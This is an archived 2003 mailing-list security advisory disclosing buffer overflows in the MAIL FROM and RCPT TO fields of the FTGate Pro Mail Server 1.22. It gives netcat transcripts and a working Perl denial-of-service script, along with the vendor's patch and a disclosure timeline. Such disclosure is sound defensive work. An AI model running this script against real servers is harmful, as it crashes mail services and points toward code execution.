[VulnWatch] Multiple Buffer Overflow Vulnerabilities Found in FTGate Pro Mail Server v. 1.22 (1328)

From: Dennis Rand (der_at_infowarfare.dk)
Date: 05/06/03

  • Next message: Knud Erik Højgaard: "[VulnWatch] youbin local root exploit + advisory"
    To: "Vulnwatch@Vulnwatch. Org" <vulnwatch@vulnwatch.org>, "Bugs@Securitytracker. Com" <bugs@securitytracker.com>, "News@Securiteam. Com" <news@securiteam.com>, "Vuln@Secunia. Dk" <vuln@secunia.dk>
    Date: Tue, 6 May 2003 14:57:25 +0200
    
    

                        Multiple Buffer Overflow Vulnerabilities
                     Found in FTGate Pro Mail Server v. 1.22 (1328)
                               http://www.ftgate.com
                             
                              Discovered by Dennis Rand
                                 www.Infowarfare.dk
    ------------------------------------------------------------------------

    -----[SUMMARY
    FTGatePro is Floosietek's flagship server. The comprehensive feature set
    In this server ensures that it will meet whatever demands you place on it.
    This server is powerful enough for the most demanding of tasks.

    The problem is a Buffer Overflow in the SMTP protocol, within the
    ESMTP Server FTGate, causing the service to stop responding for a short
    Period, where we can actually overwrite the exception handler on the stack
    allowing
    A system compromise with code execution running as SYSTEM.

    -----[AFFECTED SYSTEMS
    Vulnerable systems:
     * FTGate Pro Mail Server v. 1.22 (1328)

    Immune systems:
     * FTGate Pro Mail Server v. 1.22 (HotFix 1330)

    -----[SEVERITY
    Medium/High - An attacker is able to cause a DoS attack on the SMTP
    protocol.
                  And we can actually overwrite the exception handler on the
    stack
                  Allowing a system compromise with code execution running as
    SYSTEM.
                  

    -----[DESCRIPTION OF WHAT THE VULNERABILITY IS
    The Vulnerability is a Buffer Overflow in the FTGate Pro Mail Server v. 1.22
    (1328)
    When a malicious attacker sends a large amount into the "MAIL FROM" and the
    "RCPT TO"
    The buffer will overflow. If the code was carefully crafted, attackers could
    execute
    Arbitrary command in system privilege.

    The following transcript demonstrates a sample exploitation of the
    Vulnerabilities:
    ----------------------------- [Transcript] -----------------------------
    nc warlab.dk 25
    220 win2k-serv ESMTP Server FTGate
    HELO Foobar
    250 win2k-serv
    Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
    with ".com"]
    <Connection closed>

    The same Vulnerability is in the RCPT TO
    nc warlab.dk 25
    220 win2k-serv ESMTP Server FTGate
    HELO Foobar
    250 win2k-serv
    Mail From : admin@warlab.dk
    250 <admin@warlab.dk> Sender Ok
    Rcpt To: <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
    with ".com"]
    <connection closed>
    ----------------------------- [Transcript] -----------------------------

    ----------------------------- [Exploit Code] -----------------------------
    #!/usr/bin/perl -w
    ##################
    # FTGate Pro Mail Server v. 1.22 (1328) DoS attack
    #
    # URL: http://www.infowarfare.dk/
    # EMAIL: der@infowarfare.dk
    # USAGE: sploit.pl <target ip>
    #
    # Summary:
    #
    # The problem is a Buffer Overflow in the SMTP protocol, within the
    # ESMTP Server FTGate, causing the service to stop responding for a short
    # Period, where we can actually overwrite the exception handler on the stack
    allowing
    # A system compromise with code execution running as SYSTEM.
    #
    #
    # Solution:
    # Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
    #
    #

    use IO::Socket;
        
    $target = shift() || "warlab.dk";
    my $port = 25;
    my $Buffer = "a" x 2400;

    my $sock = IO::Socket::INET->new (
                                        PeerAddr => $target,
                                        PeerPort => $port,
                                        Proto => 'tcp'
                                     ) || die "could not connect: $!";

    my $banner = <$sock>;
    if ($banner !~ /^2.*/)
    {
        print STDERR "Error: invalid server response '$banner'.\n";
        exit(1);
    }

    print $sock "HELO $target\r\n";
    $resp = <$sock>;

    print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
    $resp = <$sock>;

    print $sock "\r\n";
    print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

    close($sock);
    ----------------------------- [Exploit Code] -----------------------------

    When this attack is preformed the service will shortly stop and then restart
    after about 5-10 seconds, all current connections when this attack is
    preformed
    will be closed.

    -----[DETECTION
    FTGate Pro Mail Server v. 1.22 (1328) is vulnerable to the above-described
    attacks.
    Earlier versions may be susceptible as well. To determine if a specific
    implementation is vulnerable, experiment by following the above transcript.

    -----[WORK AROUNDS
    Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330)

    -----[VENDOR RESPONSE
    Hi,
    Thank you for brining this to my attention.
    We have fixed the problem with the code and will release a patch shortly.
    Regards
    Richard Bang
    Floosietek Ltd
    richard@ftgate.com
    http://www.floosietek.com

    Hi,

    The patch should be up later today.
    New users will automatically download the patched version.
    Existing users download it through the WebAdmin UI.
    Regards
    Richard Bang
    Floosietek Ltd
    richard@ftgate.com
    http://www.floosietek.com

    -----[DISCLOSURE TIMELINE
    20/04/2003 Found the Vulnerability, and made an analysis.
    23/04/2003 Contacted Vendor at support@ftgate.com
    29/04/2003 Received response from Vendor
    05/05/2003 Contacted vendor for update
    06/05/2003 Received response from vendor
    06/05/2003 Public Disclosure.

    -----[ADDITIONAL INFORMATION
    The vulnerability was discovered and reported by <der@infowarfare.dk> Dennis
    Rand

    -----[DISCLAIMER
    The information in this bulletin is provided "AS IS" without warranty of any
    kind.
    In no event shall we be liable for any damages whatsoever including direct,
    indirect,
    incidental, consequential, loss of business profits or special damages.


  • Next message: Knud Erik Højgaard: "[VulnWatch] youbin local root exploit + advisory"

    Relevant Pages

    • Re: How to Hide the IIS FTP Banner ?
      ... > before starting their attack. ... >>vulnerable server in the first place so it wouldn't make any ... > know, until a vulnerability is discovered and announced, that your server ... You'd have to ask the client authors about that, ...
      (microsoft.public.inetserver.iis.ftp)
    • Re: How to Hide the IIS FTP Banner ?
      ... before starting their attack. ... How do you know that the server is vulnerable or not? ... know, until a vulnerability is discovered and announced, that your server ... Cedar Park TX 78613-1419 | WFTPD, WFTPD Pro are Windows FTP servers. ...
      (microsoft.public.inetserver.iis.ftp)
    • iDefense Security Advisory
      ... Bufferoverflow in 0verkill Server ... 0verkill is a client-server 2d deathmatch-like game in ASCII art. ... very serious vulnerability and should be taken seriously. ... detect this version of the attack, ...
      (Bugtraq)
    • [Full-Disclosure] iDefense Security Advisory
      ... Bufferoverflow in 0verkill Server ... 0verkill is a client-server 2d deathmatch-like game in ASCII art. ... very serious vulnerability and should be taken seriously. ... detect this version of the attack, ...
      (Full-Disclosure)
    • RE: Views and Correlation in Intrusion Detection
      ... compares those to packets hitting specific ... The ability to integrate IDS data and vulnerability scan ... a db with the info on each server - OS, applications, ... a detection engine that matches the IP and attack sig to the entry in ...
      (Focus-IDS)